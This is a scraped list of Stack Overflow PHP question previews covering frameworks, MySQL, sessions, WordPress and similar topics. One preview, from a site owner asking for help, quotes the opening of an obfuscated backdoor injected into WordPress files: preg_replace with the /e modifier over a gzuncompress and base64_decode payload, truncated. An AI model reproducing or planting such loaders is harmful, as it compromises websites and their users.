QuackQuackerI recently started my journey on testing in php. I am having a hard time getting my head around how to test external services and how a stub will help me assure that the method being testing really behaves as the test promises. Following example is as taken from the code im unable to understand ...

0
Q: Browser Cache issues in Laravel 4 Application

rico leutholdI'm having an issue with the browser cache interfering with my Laravel application. If the browser cache is disabled, everything works fine. However, if enabled, an the same link is clicked several times, the Laravel method is not even executed. I've put a line in my method which logs the curre...

0
Q: How to setup Go! AOP PHP with Yii 1.1.13 to get Aspect Oriented Programming working?

user2073953I am trying to setup Go! AOP Php with my Yii Framework application. I have done the following: 1-Installed Go! AOP Php with composer by adding the following line to our composer.json. "lisachenko/go-aop-php":"0.4.*" 2-Added an application kernel like this <?php // app/ApplicationAspec...

0
Q: How do I "properly" decode an inbound JSON string in PHP Slim from Backbone.js

hairboHopefully this hasn't been asked and answered elsewhere... I'm teaching myself Backbone.js, and PHP, and the PHP framework SLIM (and require.js and bootstrap while I'm at it, and god, so much stuff...) Anyway, when Backbone does a PUT command to the server, it sends a JSON packet, and numeric v...

0
Q: mysql_fetch_assoc overwrite array

user2816451I have the following codewhich basically seems to be overwriting the same array each time so the output (json) only gives me the last row returned? Thanks $structure = mysql_query("SELECT FIELDNAME, DISPLAYNAME from `_PREFS_MAINGRID_`"); $rowsField = array(); while($struct = mysql_fetch_assoc($...

0
Q: How to Set Category Page as Home Page in Prestashop

GireeshI am having http://example.com/index.php as my home page. My Category Page url is http://example.com/index.php?id_category=10&controller=category Now, I need to redirect my homepage to Category Page. I tried in Preferences > SEO & URL's > Set Shop URL > Base URI as index.php?id_category=10&contr...

0
Q: Passing $_SESSION through an iframe - PHP

KaleFor the record, I DID see this entry - Passing sessions variables through an iframe, php which is asking the exact same question, but the answer (even when I followed it to a T) still isn't working for me. I have two pages - one is the landing page, the other is the page pulled in to the landing...

0
Q: Saving Array to a Session and Retrieve it, CodeIgniter

Juan TamadSo $token here is an array of data from the database, I would like to retrieve it from the VIEW.. I know that the data's are already there by using print_rprint_r($this->session->all_userdata()); but I would like to retrieve the values from the $token array and use it. NEED HELP PLEASE.. sorry f...

0
Q: Undefined Index PHP: Can't Find Form Values

user2109495Complete Newbie to PHP, but trying to do a simple form submit to a MySQL Database. I keep getting the Notice: Undefined index: warning on my form input variables. What could be issue here. The form is on a seperate PHP page submitting to the process.php file. Form Code: <form name="example" id...

0
Q: Mysql fetch user data returning nil value

AlbabI recently received -3 ratings for my recent question though the solution wasn't provided. My apologies if I posted something which I shouldn't have. Alright so it is related to that ques only I have this code: $data = mysql_connect("localhost", "user", "pass"); mysql_select_db("dbname"); $data...

0
Q: Updating SQL Row if Records are same

PrasoonIn MySQL, I have a tblProjects like this - Project_ID Field_ID Record_ID Label 556895 1 1 Office desk 1 556895 1 2 Office desk 2 556895 2 1 This is a desk 1 556895 2 2 This is a desk 2 472246 1 ...

0
Q: inbox sql query solution

user1715025Ok so I am stuck trying to figure out a solution to my user inbox. Basically when a user views their inbox, I want it to display the last message from each user that has messaged them. So for example, if John messages Jane "message 1", "message 2", "message 3". Jane will see the last message "me...

2
Q: Can't execute a query in a for loop

Andrew MoldovanHi so I know this is something that seems to have been answered before on here, but nothing that I've tried has worked. Basically what I am trying to do is to call up a stored procedure that inserts some data, and gives back the id of the auto_increment that was just inserted. Then that statement...

 
7:14 PM
0
Q: Laravel 4: Possibility of Dynamic/Runtime dependent Model Validation Rules

GravyI am currently experimenting with Eloquent ORM, and I am looking into the possibility of dynamically changing the validation rules at runtime. Is this possible at all? What I would like to do is make the mysql database tables more generic, e.g. for a shopping cart, allow quantity:integer or weig...

0
Q: PHP - File path isn't saved to database with file upload

Frank KluytI have a script to handle image uploads and puts the location of the image in the database. There's two image upload fields, named "logo-image" and "header-image". The only time when things go wrong is when I only select a "logo-image". What happens then is that the image gets uploaded, but the f...

0
Q: output html from jquery ajax request

user2806656i'm creating a gallery which is loaded from a directory. first im creating a div tag for each album folder in the directory. then im using jquery ajax to get the folder name that was clicked and create div tags for each image in that folder. im sending the id of the folder to an external php page...

0
Q: More elegant way of dealing with query string variables

Dustin McGrewThe site I am building is a configurator that lets you choose the color of certain items. It will have functionality to share your color config. What it will do is generate a URL with a query string, like ?plate=red&cup=blue&napkin=white My code reads the query string and changes the <img> src va...

-1
Q: Getting a 404 error the input from the textbox has a '_' or '-' in it

StrawhatLuffyI have textbox which would take email of the user as username and load his profile page(which displays his details).After that he can proceed for other operations on the website. Whenever the email id has '_' or '-' in it, i get a 404 error on the profile page. After taking the username i am pro...

-1
Q: Day until the other day

ChrisI want something in PHP, im thinking and trying for hours but dont get it. I want to echo how many days it is till wendesday. So when it is Thursday, i need to says 6 days. And when it is tuesday it needs to say 1 day , or tomorrow. When it is Wendesday it needs to say Today. A extra what i w...

-1
Q: how to get data returned by mysql_fetch_object() in a variable

abhinav dixithow to get data returned by mysql_fetch_object() in a variable. i am using below mentioned code.... i am trying to fetch dates from DB based on condition and also want that the value to be stored in variable one by one . But when this code executes it print all the values returned by stdobj. <?p...

0
Q: JavaScript/Jquery file not loading

user1829823My Jquery works fine in-line however when I try and make it external it doesn't seem to work. I have both scripts stored in the: include('./includes/header.html'); And I also have them stored at the root of the folder. If any one could help would be great. I have two links held within the heade...

0
Q: How to query a database using parameters from a JSON into a PHP?

jmr1706I have been trying to use JSON in my iPhone app to retrieve information from my SQL database with the use of PHP. I can successfully send a JSON and return it to the iPhone app. My problem occurs when I try to take the parameters in from the JSON array that was sent. It fails and I am not sure wh...

0
Q: Risks of restarting Apache?

user1973080I just started working a company that is having me build a program for them that allows them to access a database and work with the data. They currently have a solution written in PHP, but its quite outdated, and I am not familiar with PHP. While I am building the new solution for them they a...

0
Q: Make a Post in ipboard with Curl

user1808537i just want to log in ipboard site and make a post with curl here is my code and this is the error. my version is 3.4.5 Notice: Undefined offset: 1 in C:\xampp\htdocs\curl\index.php on line 31 Notice: Undefined offset: 1 in C:\xampp\htdocs\curl\index.php on line 34 Notice: Undefined offset: 1 ...

0
Q: Improving mysql response time with big query

Rociio Lourdes RodriiguezOk I made this looooooong query. It works perfect buuuuut it takes 15-30 seconds to give me the results... I'm not an sql expert so I want to ask if there is a way to improve the mysql response time... maybe doing it in more than 1 query or something like that. PS: Its a BIG datebase that contai...

1
Q: Quick simple PHP issue - accessing variable in function

RichardNot used PHP for quite a while, jumped back in and was hit by an error that doesn't make sense to me, this code: $errorCount = 0; $errorList = array(); function getParam($paramId){ if (isset($_GET[$paramId])){ $id = $_GET[$paramId]; } else { $errorList[] = (string)$para...

0
Q: POST variable do while and see if there are still any left

mishxpieI have a post variable something like this: for ($q = 1; $q <= $numberOfFields; $q++){ if (!$_POST["name".$q."_text"]){ $error = 1; } } I understand I can get the variable by looping through variable like this. but what if I don't know the $numberOfFields due to it's populat...

1
Q: Append a PHP code with AJAX

JugularI want to insert a new field in a div when the user clicks on the button (+). The code of textfield is that: <?php $sql = "SELECT nome, codigo FROM ref_bibliograficas"; $result = mysql_query($sql) or die (mysql_er...

0
Q: PHP form into SharePoint 2010

PaulThe idea sound simple: to submit data entered into a PHP form (we use Drupal 7) into SharePoint 2010. Each form entry should be recorded in SharePoint as an item, so that it can searched for and differentiated between. So I believe a SharePoint list or form library would work. I am just lacking ...

 
7:43 PM
0
Q: PHP wildcards in code displays wildcard character

Jozef TroskaI have a problem when running a php code with wildcards. I noticed it when usin glob function x = glob($_SERVER["DOCUMENT_ROOT"]."/images/SCHEMAS/EL/PNG/". "AW" . "???" . ".png", GLOB_NOCHECK); print_r ($x); will display Array ( [0] => /var/www/html/images/SCHEMAS/EL/PNG/AW???.png ) instead...

0
Q: Storing session in database

AsheshI wrote this helper class to save sessions in the database but it doesn't seem to work at all. I checked the return value of the session_set_save_handler and it seems that it always returns a false value which means that it's not able to set the handller functions in the first place. Then I tried...

0
Q: Yii change controllers login redirect page

Mark WinterbottomI am using Yii to serve some JSON webservices for a mobile app. I am using the Yii build in authentication system. I have a specific controller that I setup access rules so only authenticated users can call the controller functions. When the user is NOT logged in, I want to return a custom JSON ...

0
Q: Showing wordpress pure text content

Carla DessiI'm trying to show the posts in a list, but I only want to show the text from each post, not any of the embedded images etc. I'm currently using this: <?php the_content(); ?>

0
Q: Share Javascript Facebook API session with PHP API

Evandro AraújoI look around this problem but I didn't found any answer to resolve my problem. I make Facebook login using Facebook JavaScript API, then I make a ajax request to post a photo in a group's wall, but, the PHP always return "Invalid OAuth access token signature." I made exactly like Facebook Docume...

0
Q: testing PHP_SAPI!='cli' code with phpunit

xeroI'm new to both TDD and phpunit. I'm testing code that forks based on it's execution method: if (PHP_SAPI!='cli') { header('HTTP/1.1 '.$statusCode); } I want to get as much code coverage as possible, but I can't seem to test this part (because phpunit is testing via the command line inter...

0
Q: Mysql Query not receiving any data

user1829823Here's the query I'm trying to run it was working, but now for a reason I can't figure out its now given up. SELECT films.movie_title, films.rating, films.actor, reviewed.review FROM films INNER JOIN reviewed ON films.movie_id=reviewed.review_id While going through the table...

-3
Q: Moneybookers Integration in Codeigniter

PhxbI want to integrate Moneybooker(Skrill) gateway in my website. There is no option for test account there. can anyone help me with code OR Steps.

0
Q: how to insert spaces in between elements of an array which is read as an input from the html form?

SachinThis is the HTML and Javascript code to create a dynamic html table which accepts inputs, HTML: <table id="contentTable" border="1" name="contentTable"> <!-- Fill table programmatically --> </table></td> JavaScript: function buildTable(val) { var myTable =document.getEleme...

0
Q: Creating buttons with javascript that could be later used in mysql query

user2816626Inside table that was created in cycle by php there are many rows with jquery.autocomplete widget. Upon selecting data from auto complete list i need to create a button (apply) that can later transfer 'ID' from selected data to mysql querie that will be runned upon clicking 'save' button. For che...

-4
Q: Does anyone have an idea for a php facebook application?

Ueli KramerDoes anyone have an idea for a php facebook app? Perhaps a little game or useful app... Thank you in advance

-1
Q: Adding website content from SQL database

Midway MediaI am very new to PHP so this might be a silly question to some but my website is currently broken up into includes and I have managed to establish a database connection but i would like the content in the "about" page to come from a SQL database and not be static HTML. My question is how would I ...

0
Q: Perform an exact match with an if statement

KimomaruI'm working on setting up a condition on my web page whereby 1 of 2 things may happen; 1) The user posts a youtube link by itself, no other text, and that link is turned into an embeded video on the page. 2) Any other kind of post is posted as a regular message, skipping everything in the prece...

0
Q: Confusion over php sql and javascript time stamps

Theodore EnderbyI'm inserting time in iso format to a sql databse: $now = date("Y-m-d H:i:s"); $datetime = new DateTime($now); $now = $datetime->format(DateTime::ISO8601); $sql="insert now etc" $pdo->execute I found this nifty jquery plugin called timeago : http://timeago.yarp.com/ //javascript var statusTim...

0
Q: how to insert image in "CKEDITOR" tool

R S GoneI am developing a website. in it i configure "CKEDITOR" tool for content posting. In demo of version insert image works fine but when i integrate in my website. this option does not works. can any one help me!

0
Q: Warning: sprintf()...too few arguments

user2816855This is the line with the error sprintf( __( "You must have a <a target='_new' href='%s'>PayPal Sandbox</a> account setup before using this feature.", APP_TD ), 'http://developer.paypal.com/' ),

0
Q: Is PHP's "Virtual Directory Support" what I think it is?

Bill in Kansas CityI see the entry in phpinfo(), and if it's what I think it is, then that would be great! We're on IIS and so I'm well familiar with virtual directories and have wanted that feature in PHP for a long time. Yes, I've googled it, but all I find is questions about how to enable it, but nowhere - not e...

0
Q: How to get DELETE request parameters

u54rThis is how I want to delete a record using jquery ajax deleteFile: function(obj) { $.ajax({ type: 'delete', dataType: 'json', url: 'service/lead.php?a=deleteFile', data: {id: $(obj).attr('data-lf-id')} }).done(function(response) { ...

0
Q: Nothing happening after the fgetcsv loop. Trying to save data from a tab delimitted report from amazon mws api

Rashid Shafiquewhile ($keys = fgetcsv($fp, 0, "\t")) { if ($c == 0) { $headers = $keys; } else { $rows[] = $keys; //var_dump($keys); } $c ++; } fclose($fp); echo count($rows); If I echo the $count it works fine(shows the proper count...

0
Q: Reset all functions after PHP and jQuery scripts have ran

Tiffany LoweI have three things going on: I am sending information with this form. <form method="post" id="myForm" action="includes/functions.php"> <input type="hidden" name="group_id" value="$group_id" /> <input type="hidden" name="submit_join"/> <button class="request" id="sub" name="submit_j...

1
Q: Best way to avoid preparing the same PDO statement more than once?

JorgeCurrently I save prepared statements into a private variable, because I ignore how they really work in the deepness, and do it just in case. So the question is really simple, if I iterate over the same $PDO->prepare(), will it prepare again the same query? foreach( $arr as $docid ) { if( $this->

0
Q: javascript - moving an image left depending on the size of the browser window

Zaphod BeeblebroxI'm attempting to use jquery cycle to rotate some images on my page. The images are 1400px wide, which means that for people with smaller screen resolutions, the right hand side of the image ends up dissappearing. I want to make it so that the images looses an equal amount on either side of the ...

0
Q: remember the user for several days - cookies

Jesper PetersenLedens has taken hold of me asked if I can not do so it is possible that not all the time when you close the browser having to log in again. :) Some of the users on the fire department website is "tired" of having log into the site all the time so thought to set cookies on the side, I've tried ...

0
Q: Html access through link only, cannot be visited?

onkzzzI was wondering if there is a way that a link on my site is clicked on for access, but cannot be visited directly. Is it possible, and if so, how? JScript?

0
Q: htaccess Rewrite Rule not working on certain pages

user2816909im having some difficulty with Rewrite Rules. My .htaccess looks like this: RewriteEngine On RewriteRule admin/add-category$ adm_add_category.php [NC] RewriteRule admin/categories-management$ adm_categories_management.php [NC] RewriteRule admin/user-settings/(.*)$ adm_user_settings.php?upd...

1
Q: get information from page facebook api graph

Ti Amo LakyHi i went get this in information (in image) from my page facebook Most Popular Week,Most Popular City,Most Popular Age Group wiht FQL

0
Q: Webmail Horde attaches email

Publi DesignFor some reason, my webmail reader Horde attaches my emails, and yet, SquirrelMail and RoundCube see the email properly. Is it something in my code, or is it Horde ? My code: if(isset($_POST['submit_form'])) { header('Content-Type: text/html; charset=UTF-8'); $newline = "<br />"; $m...

0
Q: Using $_Requset inside function PHP

Anita1 I have this: function ObtainRequest($Field, $Method) { $Returned = ""; if ($Method == "Post") $Returned = $_POST[$Field]; else if ($Method == "Get") $Returned = $_GET[$Field]; else $Returned = $_REQUEST[$Field]; return $Returned; } Now, using the function: if (isset(Ob...

0
Q: Laravel 4 hasOne / belongsTo relationship

simnomGet the feeling I'm being particularly dumb here but it's doing my nut in. I have a candidate table with the country_id field as a foreign key to the countries table. A candidate has one linked country. The Candidate model has a relationship defined as: public function country() { return ...

0
Q: Flip In New Content

Robert RichterI want to create a login wich loads in a different content depending on wich code is submitted. Its simple like this: <button type="submit" value="BSend" class="l-button">code</button> <input type="text" name="bewerbung" class="l-input"> Example: CODE01 = GET CONTENT 01 CODE02 = GET...

0
Q: PHP unlink error - path error

user2060451I am using same syntax as everyone else but... i can't get it to work. I have tried quite a few options to unlink file from directory. Summary: delete.php (the file that executes the action) is in the main folder. The file (image) to be deleted is under the sub-directory "upload". $file = $...

-3
Q: Javascript to get information dropdown lists and apply condition

TommyI need to know how I can get information selected in a dropdown list when I press submit and then get the information displayed in a table within the same page. I have created the dropdown list: <select> <option value="volvo">Volvo</option> <option value="saab">Saab</option> <option val...

0
Q: PHP Regex or DOMDocument for Matching & Removing URLs?

KrisI'm trying to extract links from html page using DOM: $html = file_get_contents('links.html'); $DOM = new DOMDocument(); $DOM->loadHTML($html); $a = $DOM->getElementsByTagName('a'); foreach($a as $link){ //echo out the href attribute of the <A> tag. echo $link->getAttribute('href').'<br/>...

0
Q: How to select specifc entries in MySQL/PHP and join tables

SuspiciusI'm dealing with this problem. There is tableorders(oid,datetime,quantity,title,username,mid). The table orders is updated from php code as far as the features oid,datetime,quantity,title,username are concerned. The problem is that I want to classify each entry based on both datetime and usernam...

0
Q: Custom wp-nav classes in functions.php

Carla DessiI've added this code into my functions file: //menu $defaults = array( 'theme_location' => '', 'menu' => '', 'container' => 'div', 'container_class' => 'navbar-collapse', 'menu_class' => 'nav navbar-nav', 'echo' ...

0
Q: Insert into mysql multiple input data that are created with a jquery add_function

Robert IulianI have the following html: <h4>Add Steps</h4> <ul id="pasi"> <li> <span>Pasul 1: </span><textarea id="pas"></textarea> <input id="add_pas" type="button" value="Add Step" onclick="add_pas()"/> </li> <input id="" type="button" value="Add recipe" /> and this jquery function: function add...

0
Q: PHP and batch, Google Permissions

N e w B e eI am uploading file to google drive via php script, and I want to run this file via batch (abc.bat), I am using windows8 and I want to run this php script a few times in a day... but issue is, each time I run the script, google asks to ALLOW permission, please see this screen shot.. HOw can I...

0
Q: CodeIgniter Session Lost After Adding One More User to Database

user1814734I am working with CodeIgniter. However, when I use session, there is a problem occured. The problem is: I try to store user_email in session. Then I redirect to another controller. In this case it works perfectly. However, when I am adding one new user to the database, then I try to login, store ...

0
Q: How would you read 1000 bytes of a data in file in php?

run_time_rookieHow would you read 1000 bytes of data from a log file in php ? I tried using fread ($fp, 1000) but issue is if file has less than 1000 bytes then it won't read at all ? Other issue is it reads chunks of 1000 bytes but in the end if there is any chunk left which is less than 1000 bytes, it i...

0
Q: Cakephp 2 form does not post data after adding text area

NickI have a simple cake php app. When I am trying to edit my data in a form everything is fine. unless I add text area to my form. When I add text are the form does not post data and it refresh itself. It is like noting happens at all!! I disabled all my javascript file but It did not help I also p...

0
Q: link to a piece of code that is on the same page

freddyLet's say I have to following code (code A). If I want to put the code of the ajax_image_event.php page (code B) on the same page as this code (code A), how can I do this? Is there a way to replace the url to link to the code (code B) that is on the same page of code A? Code A $.ajax({ t...

0
Q: The mysql error was: Access denied for user

6franekThe problem I have is that I'm still getting the message: Site off-line The site is currently not available due to technical problems. Please try again later. Thank you for your understanding. If you are the maintainer of this site, please check your database settings in the settings...

0
Q: How to rebind jQuery script after it has been called used once?

Tiffany LoweI have three things going on: I am sending information with this form. <form method="post" id="myForm" action="includes/functions.php"> <input type="hidden" name="group_id" value="$group_id" /> <input type="hidden" name="submit_join"/> <button class="request" id="sub" name="submit_j...

0
Q: how to read/extract the values of a text file which is uploaded on to a html form into another text file using php?

Sachini have the following HTML, JavaScript and PHP code to upload a text file which has a table and display it in the same page, HTML: <panel action="#" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" onchange="r...

-3
Q: MYSQL Data to HTML Table

MHPCOMI have a database table that has the following structured: submit_time form_name field_name field_value 1351668832.7600 Contact form 1 your-subject fireplace 1351668832.7600 Contact form 1 your-email blahblah@gmail.com 1352156124.0300 Register checkbox-contact ...

0
Q: File htaccees for a 404 page how to set?

Giulio Morellihi have this file htaccess, i need to improve a 404 page, now when you visit a page that not exist return the index.php content and the url doesn't change, i would like to put a custom 404 , i tried with "ErrorDocument 404" but doesn't work. <IfModule mod_rewrite.c> RewriteEngine On RewriteBase ...

0
Q: Refreshing div content (php content) with ajax

craigi am trying to be able to edit my custom cms blog posts without leaving the page. The way it works is each post has a edit button which when clicked hides the post text, and displays a ckeditor and also a save button. All the code works correctly behind the scenes as to say, when saved an ajax ...

-1
Q: How do i remove the window pop ups when running task scheduler

jemzIs it possible to hide the window that pop ups when the task scheduler has been started.?..i am using window 7. Thank you.

0
Q: Upload a file using only cmd to php

user2817025I need to Upload a file by cmd to a php code that comunicates with a mysql Database. I don't want to use html (form) or web system because the file I need to upload is to heavy and uses a lot resources. Tip: The file changes its name everyday. This is a part of my php code : set_time_limit(0);...

0
Q: Properly way to log in user in functional test

NoquoxI have read many posts on stackoverflow about this. But most of the methods not useful in Symfony 2.3. So i have try to log in user manualy in test to make some actions in back-end. Here is my security.yml security: ... role_hierarchy: ROLE_SILVER: [ROLE_BRONZE] ROLE_GOLD: [ROL...

0
Q: Wordpress Custom page with pagination

vicky123I'm having an issue with pagination on a custom Page template. I want to add pagination but i can't do that, how do I get this working with custom loops like this? <?php get_header(); ?> <div class="h1_title"> <h1>Recent Posts</h1> </div> <!--<article>--> <?php if ( hav...

0
Q: PHP Multiple GET methods in one your

JamieI'm making a tool to pull eve API data and I use a get form to take the data and get access to the key ID and code to access the data. This then pulls the first character ID on the key and grabs all that character data. for example the url is; whatever.com/APIChecker/?keyID=123456&code=ABCDEFGHI...

0
Q: Populate a form selection field in Laravel 4 from Database with conditions?

jasondavisUsing Laravel 4 and PHP I am able to query the database and populate an HTML selection box. the magic happend with User::find(1)->lists('username', 'user_id') And here is my code for the selection field. <?php echo Form::label("username", "Username", array('class' => 'col-lg-12 control-label')...

0
Q: How Can I Insert A Value With Javascript (or PHP) Into a Form Depending On Visitor Referral

Gabriel RiosI'm not sure if the way to do this is check Google Analytics cookies or otherwise track where a user came to my site from. Basically I have a form with a hidden field code="XY1" Now I need to be able to insert a different preset code for say people who came from Facebook, so the script would have...

0
Q: SQLite Database Security Using File Name

NishI am making a distributed PHP application, and am planning to use Sqlite to store the data. The database will be in a public accessible directory. What is the best way to secure this database from the public? I am thinking of using an obfuscated file name. How effective would this be?

-1
Q: fetch and display mysql resultset one at a time using a loop

Henry Popee Nnonyelui am new to php.i am no guru but i have this app i'm doing.Is a news app.the admin loads news images,news contents and heading then from the users' side,i want the images with their associated text or write-ups showing one at a time.The image will be a slide show.My problem is getting this image ...

0
Q: Taking a value from a Stored Procedure

user2800623My database developer created a Stored Procedure whom return the last ID, but not like output parameter. . . . SET @NewContractSvcLID = @@IDENTITY RETURN @NewContractSvcLID END How I can get that value in PHP using MSSQL? Thanks.

0
Q: OpenCart MySQLi issue

OC2PSI have an OpenCart installation with vqmod. Recently moved to a server with a newer version of PHP which says mysql is deprecated. So I edited config.php to make OpenCart use mysqli instead of mysql. Unfortunately, now getting the error Fatal error: Call to undefined method mysqli::escape(...

0
Q: PHP search different tables showing respective results

robk27Maybe I'm not thinking this through correctly but I have a company table with: name address city state zip I want to search two fields, name and city. My query is: SELECT DISTINCT city, name FROM companies WHERE city LIKE '%$search%' OR name LIKE '%$search%' and the res...

 
9:55 PM
0
Q: magento show free shipping text

Gijs LaandrechtI want to show the freeshipping price as text, like "Free shipping" but I can't get it to work. In app/code/core/Mage/Shipping/Model/Carrier/Freeshipping.php I found these lines: $method->setPrice('0.00'); $method->setCost('0.00'); But if I change the 0.00 to "Free shipping", nothing happens. ...

0
Q: php code for reading 1024 strlen

run_time_rookieIs there a way in php where I can read strlen of 1024 from a log file ? Issue is getting strlen of 1024 or get a complete line. When I do while($data = fread($fp, 1024)) it reads 1024 bytes but usually cuts the line where 1024 byte ends not showing complete statement. But, I need to get comple...

 
10:07 PM
1
Q: setcookie() does not set cookie locally

Bobby TablesI have a script that should be setting a cookie. On a webserver, it works just fine, however when I test it locally, it does not set. The excerpt: setcookie('sid', 'nv48thnuf39sonv', 0, '/', $_SERVER['HTTP_HOST']); echo isset($_COOKIE['sid']) ? $_COOKIE['sid'] : '(empty)'; There is no output...

0
Q: Couldn't find constant ONLINE

Jeffry SolingerI am using CodeIgniter and i keep get a error from the config file A PHP Error was encountered Severity: Warning Message: constant() [function.constant]: Couldn't find constant ONLINE Filename: libraries/co.php Line Number: 534 A PHP Error was encountered Severity: Warning Message: Cannot mo...

0
Q: Wordpress custom post type permalink - Insert before pages

user2817148I am utilizing a custom post type to create landing pages that act as mini-sites. I would like to be able to allow these landing pages to show pages from the whole site while maintaining their CPT name in the URL structure. Example: Normal URL for any page: http://www.site.com/sub-page Landing P...

0
Q: Malicious encoded string in my wordpress site, what does it do?

viniciusmunichMy site is not working at all, and I noticed that someone put this string on the top of all the .php files: <?php /* b9cb27b481275ee07e304fa452b06754b499b5bf */ $u="p"."r"."e"."g"."_"."rep"."l"."ac"."e";$z="gzunc"."om"."press";$m="bas"."e"."64"."_dec"."ode";$u("/x"."wab"."z5/e",$z($m("eNrNVW"."1...

-1
Q: The login script don't work at all

Anass SfaHey in really need help with a script that's driving me crazy...Keep in mind guys that im a newbie.This login script don't work :o and i don't really understand why! It doesn't redirect to the page, don't do the job of verifying the input and don't work with the database.Any suggestion on remark ...

0
Q: loading individual posts onto a blog template blog?

user2817160Thanks for reading. I've recently started getting into PHP a little more, and have now started my Blog on my photography website. On my homepage, I have my normal blog posts, just going to act as a quick teaser and I have a "" surrounding the main title of the post. now what I need to happen whe...

0
Q: Apache non www to www badly re writting arrays on URL

German Liubitchwe have the following .htaccess configuration: RewriteEngine on allow from all # if a directory or a file exists, use it directly RewriteCond %{REQUEST_FILENAME} !-f # otherwise forward it to index.php RewriteRule . index.php RewriteCond %{HTTP_HOST} ^domain1\.domain2\.com$ [OR] RewriteCond %...

0
Q: Custom Name And Overwriting For PHP Image Upload

user2809069On my website, the user's username can be displayed in PHP as <?=$c->username?> I need the image to be saved as <?=$c->username?>.png I also need image over righting to be on. When the trying to upload another image with the same name, it will simply error out. <?php $allowedExts = array("...

0
Q: Speak over internet application

Jovo KrnetaI have a desktop java application where I want to enable my users to speak between each others . I have developed chat applications before but never something like this . There should be an information who is online and you would simply click call button .The other side could reply or not . The ...

0
Q: PHP while loop not executing

user519670My While loop in the code below is not functioning. When i comment out the while line and the two brackets, everything inside the while loop echos fine. As soon as i uncomment the while loop and run it again, i get no errors but all the echos inside disappear. case 'search': echo "searching".$...

0
Q: MySQL: Remove part of string up to the third to last occurrence of forward slash

dcolumbusI've seen JavaScript parses for this, but not any suitable MySQL ... I have a column in my database that contains a string like this: http://localhost/mysite/wp-content/uploads/2012/10/huge_eye-150x150.jpg I need to be able to remove every part of that string except 2012/10/huge_eye-150x150.jp...

0
Q: php on nginx stops executing php code

MikeI recently set up nginx and php. PHP is running and executes index.php just fine. It will output echo "hello world!"; just fine. However after that, I'm including several PHP files and once this happens, it starts displaying the PHP code in the browser -- not executing the code. What can I...

 
10:37 PM
0
Q: facebook API login and data management

AthanatosI was looking at the facebook tutorial here I am having some generic questions about integration and data management of user profiles (slightly confused). So let's forget the facebook API for a minute, upon normal sign up I use a database that I capture the user details like desired user name ,...

0
Q: php remove extra brackets from xml

Vitaly GidenkoI need to parse a huge xml of photo albums, i am using PHP SimpleXML to parse, however it fails on some entries with errors because extra brackets may appear in some cases, see 'description' or 'CameraModel' tags. how do i clean up xml before loading it with SimpleXML?? if possible, replace extr...

0
Q: What is the importance of setting CURLOPT_HTTP_VERSION in an application?

Sean FaheyIn someone else's code I came across this option setting for cURL: curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); The PHP documentation says that by default this option is set to CURL_HTTP_VERSION_NONE which lets cURL decide which HTTP version to use. Otherwise, you can force ...

0
Q: How do I concatenate a previous value to a new value in sql?

Daniel TateI have looked around on both google and on stackoverflow and haven't found much the main problem I think is I don't exactly know how to word the question correctly, so If you have come across this before please point me in the right direction. The situation. Basically I have a bunch of records ...

0
Q: Inserting data from HTML form into MySQL using PDO in PHP

user2668563I'm currently learning to code and grappling with how to use PDO correctly to build a PHP/MySQL based app. The following code is supposed to take user data from an HTML form and insert into the database, but when the form is submitted page goes blank, no error message is returned and nothing is a...

0
Q: cakephp - Password field have plain-text default placeholder but invisible when user types

Patrick GuinnessI have a password field: echo $this->Form->input('password', array('default'=>'Password', 'class'=>'formInput', 'id'=>'password')); But because this is a password field, the default placeholder value of 'Password' appears as lots of *'s (lots of stars) Is there a way to make the password fie...

0
Q: Evernote API show all note in a notebook

user2782270I'm trying to get all of the notes from a particular evernote notebook. I am able to display all of the data as an array, and I'm trying to use a foreach loop to get the title. I also want to be able to get the content, date, etc. $filter = new NoteFilter(); $filter->notebookGuid = $notebookGuid...

 
11:12 PM
1
Q: PHP - Using `file_get_contents()` to insert javascript

pspahnI'm seeing some related questions, but nothing specific to this case. This question is asked in the context of Magento, but it by no means would be limited to here. I have a <head> template that, among the other things a head will do, includes various Javascript files. There is one script that...

-1
Q: every time a theme editor is updated, site server crashes... not any other areas of the site

MixmastermichaelHello I am using wordpress for a site what was working great up until today... it's a very strange issue going on where the site loads fine, can edit the pages fine, can edit the files fine, can edit theme files just fine all in wordpress admin. However, when I try to update the theme's styleshe...

0
Q: Passing variable between fucntions - php

andrew andersonI have been researching this for a reasonable ammount of time now, however all online examples are too complicated for a novice to easily understand. I want to pass two variables from one function to another within the same PHP file. Here is my code: function get_coordinates() { $lat = 25; $ln...

0
Q: PHP - HTTP_REQUEST2 getCookies() empty

Mark KennedyI am designing a web crawler to automate logins and am writing PHP code to fill out forms. In particular, the following: <FORM name="autologin" method=POST action="https://something.com"> <input type="hidden" name="Z" value="0,0"> <script language="JavaScript"> document.cookie="MRHCId="+Math.r...

 
11:24 PM
0
Q: Codeigniter re-direct after user logs in?

msc mscWhen a user logs into their account I want that user re-directed back to the page they were currently visiting verses the members area section. Below is the page I want my visitor to see after they login. After they login I want them re-directed to the below page. http://www.localhost.com/folde...

0
Q: how to get rid of the PHP form redirect

Yesigye Ignatius NashAfter inserting data into MySQL, i get redirected to the PHP file. not cool! How do i display error or success messages in the same HTML file. index.html <form id="form" action="add_article.php" method="post"> <div class="span4"> <div class="control-group"> <input type="...

0
Q: Load content from website to MATLAB including internal frames (iframe)

PsyNeuroSciI'm using 'urlread' in MATLAB to load the content of websites and then search that for further use. However, I came across a site on which the content I need is located in a specific internal frame which is embedded in the 'index.php' through 'iframe'. When I use 'urlread' with the url of the f...

0
Q: How to check if php mysqli_fetch_array is empty before while loop

user1572796I wanted to make sure there are results before running the while loop but all the methods I am trying seem to remove the first result. $nearbyResult = mysqli_query($con,$sqlNearby); if(mysqli_fetch_array($nearbyResult) == 0) { echo '<p>No results found, <a href="/add.php">Add your property ...

0
Q: How to ignore a PHP server-side generated redirect?

Uncle NerdicusI am interested in creating a HTML form that will send HTTP GET parameters to a PHP login file on a third-party server, allow the client to keep the login cookie the server sends back, and then redirect the user to elsewhere on my servers. The HTML form will be on my servers as well. The issue I ...

0
Q: HWIOauthBundle (0.3.*@dev) installed on Symfony 2.3.4, getting generic "No oauth code in the request." error

PezI hope I'm not missing anything obvious. I've installed HWIOauthBundle (as well as FOSUserBundle) as shown here: https://gist.github.com/danvbe/4476697 I simply copied code from the files to my own...and did this twice, so I'm 99.9% sure I didn't miss anything. (edit: and changed namespaces whe...

0
Q: Problems with Date to Timestamp results

